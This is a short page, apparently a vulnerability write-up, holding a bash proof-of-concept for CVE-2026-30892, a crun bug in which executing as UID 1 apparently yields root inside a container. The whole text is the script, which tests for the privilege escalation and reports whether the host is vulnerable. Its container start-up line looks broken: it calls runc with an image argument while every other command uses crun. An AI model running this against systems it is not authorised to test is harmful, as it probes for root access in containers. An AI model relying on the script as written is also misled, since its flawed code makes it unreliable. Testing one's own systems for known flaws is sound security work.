CVE-2026-30892 crun容器权限提升漏洞

#!/bin/bash # PoC for CVE-2026-30892: crun Incorrect User Parsing # Description: This script demonstrates the privilege escalation vulnerability # where crun exec -u 1 incorrectly resolves to UID 0 (root). CONTAINER_NAME="crun_test_poc" IMAGE="ubuntu:latest" # Check if crun is installed if ! command -v crun &> /dev/null; then echo "crun is not installed. Exiting." exit 1 fi # Start a dummy container in the background echo "[+] Starting container..." runc run -d $CONTAINER_NAME $IMAGE sleep 3600 # Attempt to execute with UID 1 # Expected behavior: UID 1 (daemon) # Vulnerable behavior: UID 0 (root) echo "[+] Testing 'crun exec -u 1 ...'" crun exec -u 1 $CONTAINER_NAME id # Cleanup echo "[+] Cleaning up container..." crun delete -f $CONTAINER_NAME echo "[+] PoC completed. Check the 'id' output above." echo " If 'uid=0(root)', the system is vulnerable." echo " If 'uid=1(daemon)', the system is patched."